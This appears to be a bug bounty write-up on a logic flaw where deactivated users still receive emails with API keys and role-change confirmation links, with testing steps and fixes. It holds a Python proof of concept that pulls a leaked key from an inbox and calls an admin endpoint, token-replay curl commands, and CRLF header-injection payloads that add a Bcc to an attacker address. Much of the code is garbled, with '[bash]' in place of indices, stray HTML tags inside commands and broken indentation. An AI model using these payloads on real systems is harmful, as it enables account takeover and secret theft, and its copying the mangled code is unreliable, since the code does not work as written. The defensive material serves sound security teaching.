How A Deactivated User’s Email Notification Led To $××× Bounty: Breaking Logic Flaws In API Role Management + Video

Introduction:

Logical flaws in web applications often hide where developers assume “this can’t happen” – like a deactivated user still receiving email notifications about API key creations or role changes. When an administrator changes another user’s role or generates a new API key, the system may blindly send email alerts without verifying if the recipient’s account is still active. This oversight allows a deactivated user to read sensitive changes via email, potentially leading to privilege escalation, API key leakage, or unauthorized data access. Such vulnerabilities are classified as medium-severity logic bugs and are frequently rewarded in private bug bounty programs, as demonstrated by a researcher who replicated a known Ubiquiti Inc. flaw on a private HackerOne program.

Learning Objectives:

Identify and test logic flaws in user deactivation workflows, especially email notification triggers.
Exploit race conditions between role/API key changes and email delivery to extract sensitive information from deactivated accounts.
Apply mitigation strategies including post-deactivation token revocation and email filtering based on account status.

You Should Know:

Understanding the Logic Flaw: Deactivated Users as Passive Observers

The core vulnerability stems from asynchronous event handling. When an administrator performs an action (e.g., creating an API key for another user, changing a role), the system generates an email notification. If the email address belongs to a deactivated user, but the notification queue doesn’t check the account’s active status at send time, that deactivated user receives full details of the change. In practice, this can leak API keys, role promotion confirmations, or password reset links.

Step‑by‑step testing guide (Linux / Windows):

Set up two test accounts – one active administrator (Admin) and one target user (Victim).
Deactivate Victim’s account via Admin panel or API.
From Admin, create a new API key for Victim (or change Victim’s role to a higher privilege).
Monitor Victim’s email inbox (use a disposable email or IMAP client).

– Linux CLI email check (if using mailutils):
`echo -e “Subject: Check\nBody” | sendmail [email protected]` (for sending test)
To fetch via IMAP: `curl -k –ssl-reqd –url ‘imaps://imap.example.com:993/INBOX’ –user ‘victim:pass’`
– Windows PowerShell IMAP:

$imap = New-Object Net.Sockets.TcpClient('imap.example.com',993)
$ssl = New-Object Net.Security.SslStream($imap.GetStream())
$ssl.AuthenticateAsClient('imap.example.com')
 send LOGIN command manually

5. If email contains the new API key or role change details, you’ve confirmed the logic flaw.
6. Test if the deactivated user can use the leaked API key – attempt API calls with that key:
`curl -H “X-API-Key: leaked_key” https://api.target.com/v1/user/info`

Why it works: The notification service and the authentication/authorization service are not synchronized. The email is sent based on the event trigger, not on the recipient’s current active status.

2. API Key Leakage via Email Notifications – Exploitation & PoC

When a deactivated user receives an email containing a newly generated API key for “their” account, the attacker can use that key to impersonate the deactivated user – or worse, if the key has higher privileges (e.g., admin-level). Even if the account is deactivated, the API key may remain valid until explicitly revoked. Many systems revoke sessions but forget API tokens.

Step‑by‑step exploit using Python (cross‑platform):

import requests
import imaplib
import email

 1. Fetch email from deactivated user's inbox
mail = imaplib.IMAP4_SSL('imap.example.com')
mail.login('[email protected]', 'password')
mail.select('inbox')
result, data = mail.search(None, '(UNSEEN)')
for num in data[bash].split():
result, msg_data = mail.fetch(num, '(RFC822)')
msg = email.message_from_bytes(msg_data[bash][1])
 Extract API key from email body (simplified)
if 'API Key:' in str(msg):
api_key = str(msg).split('API Key:')[bash].split()[bash]
print(f"[+] Leaked API Key: {api_key}")

 2. Use the key to call API
headers = {'Authorization': f'Bearer {api_key}'}
resp = requests.get('https://api.target.com/v1/admin/users', headers=headers)
print(f"[+] API Response: {resp.text}")

Windows command alternative (using cURL in PowerShell):

 Simulate email fetch via curl (if using mailgun API or similar)
curl -u "api:key-xxx" "https://api.mailgun.net/v3/domain/messages"
 Then parse JSON, extract key, and call target API
$apiKey = (curl ... | ConvertFrom-Json).items[bash].body -match 'API Key: (\w+)' | Out-Null
curl -H "Authorization: Bearer $Matches[bash]" https://api.target.com/v1/endpoint

3. Role Change Email Leakage – Privilege Escalation Path

If the email notifies a deactivated user that their role has been changed to “Administrator” (or any elevated role), the user cannot log in – but the email might contain a “confirm role change” link or a one-time token. Clicking that link from a deactivated account could re‑activate the account with new privileges, or allow session hijacking if the token is not bound to active session state.

Step‑by‑step testing for role change links:

1. Admin changes Victim’s role from “Viewer” to “Admin” while Victim’s account is deactivated.
2. Victim receives email: “Your role has been updated. Click here to confirm.”

3. Extract the confirmation link from email:

`grep -oP ‘https?://[^”]confirm[^”]’ email_body.txt</h2> 4. Send a GET request to that link using a deactivated session cookie (or no cookie): `curl -L -b "session=deactivated_user_session" "https://target.com/confirm?token=xyz"` 5. If the response shows “Role activated” or redirects to admin panel, the flaw is confirmed. <h2 style="color: yellow;">6. Attempt to access privileged endpoints:</h2>curl -H “Cookie: session=deactivated_user_session” https://target.com/admin/dashboard`

Mitigation check (for defenders):

Ensure that confirmation tokens validate both the user ID and the account’s `is_active` flag before applying role changes.

Email Header Injection & Notification Spoofing (Related Logic Flaw)

While the original post focuses on deactivated users receiving legitimate notifications, an attacker could also manipulate email notification parameters (e.g., `To` field, X-Forwarded-For) to force the system to send sensitive data to an external address. Test for CRLF injection in email generation endpoints.

Linux command to test for injection:

 If there's a "Notify user" API endpoint
curl -X POST https://target.com/api/notify \
-H "Content-Type: application/json" \
-d '{"user_id":123, "message":"Your key is ABCD", "email":"[email protected]%0D%0ABcc: [email protected]"}'

Look for `%0D%0A` (CRLF) being interpreted as new header – leading to BCC injection.

Windows PowerShell equivalent:

$body = @{user_id=123; message="API Key: secret"; email="[email protected]<code>r</code>nBcc: [email protected]"} | ConvertTo-Json
Invoke-RestMethod -Uri "https://target.com/api/notify" -Method Post -Body $body -ContentType "application/json"

Hardening Against Deactivation Logic Flaws – Code & Configuration

Prevent these flaws by implementing a post-deactivation cleanup routine that revokes all API keys, invalidates sessions, and adds a filter to the notification queue. Below are practical hardening steps.

Linux / Docker environment (using Redis or PostgreSQL):

 Revoke all API keys for user_id 123 from PostgreSQL
sudo -u postgres psql -c "UPDATE api_keys SET revoked=true WHERE user_id=123 AND revoked=false;"

Invalidate all sessions (assuming Redis store)
redis-cli DEL "session:user:123:"

Add email queue filter (pseudo-code in cron or trigger)
 Every minute, check for unsent notifications to deactivated users and drop them

Windows Server (IIS + SQL Server):

-- SQL trigger before inserting email notification
CREATE TRIGGER check_user_active ON EmailQueue
INSTEAD OF INSERT
AS
BEGIN
INSERT INTO EmailQueue (recipient, subject, body)
SELECT i.recipient, i.subject, i.body
FROM inserted i
JOIN Users u ON i.recipient = u.email
WHERE u.is_active = 1;
END;

API gateway rule (e.g., Kong, Nginx):

Add a Lua script or plugin that checks user status before forwarding any authenticated request, including notification callbacks.

6. Testing Methodology for Private Bug Bounty Programs

Following the researcher’s tip – “think unique and break the logic” – here’s a repeatable methodology to discover similar flaws across different features.

Step‑by‑step logic breaking checklist:

Map all user state transitions – activation, deactivation, role changes, email change, MFA enable/disable.
For each transition, identify all asynchronous side effects – email notifications, webhooks, audit logs, third-party API calls.
Deactivate a test account using method A (e.g., admin panel).
Trigger a side effect that involves that account (e.g., admin tries to reset its password, generate API key, add to a team).
Check if the deactivated account receives any communication – email, push notification, SMS.
If yes, attempt to use the information – the leaked key, confirmation link, or one-time code.
Repeat with different deactivation methods – via API, via UI, via bulk CSV upload, via SSO deprovisioning.

Linux command to monitor all outgoing emails from a test SMTP server (using fake SMTP):

 Run a local debug SMTP server
python3 -m smtpd -n -c DebuggingServer localhost:1025
 Configure your target app to use localhost:1025 as SMTP
 Then perform actions and watch terminal for leaked data

7. Real-World Remediation: Code Snippet for Developers

To close this vulnerability, modify the notification service to re-check user status right before sending. Below is a pseudo-code fix in Node.js/Express.

// Vulnerable code
function onApiKeyCreated(userId, apiKey) {
const user = getUserById(userId);
sendEmail(user.email, <code>Your new API key: ${apiKey}</code>);
}

// Fixed code
async function onApiKeyCreated(userId, apiKey) {
const user = getUserById(userId);
// Double-check active status at send time
if (!user || user.is_active !== true) {
console.log(<code>Blocked email to deactivated user ${userId}</code>);
return;
}
// Also redact full key – send only last 4 chars
const maskedKey = apiKey.slice(-4);
await sendEmail(user.email, <code>Your new API key ends with ${maskedKey}</code>);
}

For Linux sysadmins using Postfix:

Add a content filter that checks recipient addresses against a `deactivated_users` table before final delivery.

 In /etc/postfix/main.cf
smtpd_recipient_restrictions = check_recipient_access hash:/etc/postfix/deactivated_recipients
 Then populate /etc/postfix/deactivated_recipients with:
[email protected] REJECT Account deactivated

What Undercode Say:

Key Takeaway 1: Logic flaws in asynchronous notifications are low‑hanging fruit in bug bounties – always test deactivated accounts as passive receivers of sensitive emails.
Key Takeaway 2: API keys and role‑change confirmation links sent via email must be treated as high‑risk assets; revoke them immediately upon account deactivation, and never include full secrets in notifications.

Analysis (10 lines):

This vulnerability class reveals a dangerous assumption: that deactivated users are “gone” and can be ignored. In reality, their email inbox remains alive, becoming an unauthorized side channel. Attackers need no complex exploits – they simply wait for administrative actions. The Ubiquiti Inc. case and the private program replication show that even mature companies miss this. Mitigation requires a shift from event‑based notifications to state‑aware queues. Red teams should automate deactivation + action sequences. Blue teams must implement post‑deactivation token revocation and email filtering. As more systems adopt API‑first architectures, this flaw will reappear wherever email and authentication are loosely coupled. The researcher’s tip – “think unique and break the logic” – is a perfect mindset: question every assumption about what “deactivated” truly means.

Prediction:

Within the next 12 months, automated bug bounty scanners will add dedicated test cases for “deactivated user email notification leakage”, leading to a surge in medium‑severity reports across SaaS platforms. As API usage grows, we’ll see similar flaws in Slack bots, Jira automation, and CI/CD pipelines that email deactivated users about build secrets or deployment keys. Organizations will respond by implementing real‑time user status checks in all notification microservices, and regulatory frameworks (like PCI DSS v4.0) may explicitly require that sensitive data not be emailed to any account not in “active” state. The long‑term fix is a move toward push‑based notifications (in‑app, WebSocket) with ephemeral secrets, rendering email as a secondary, non‑critical channel. Until then, ethical hackers will keep earning bounties by simply reading what the system forgot to hide.

▶️ Related Video (74% Match):

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Reported By: Aman Singh – Hackers Feeds
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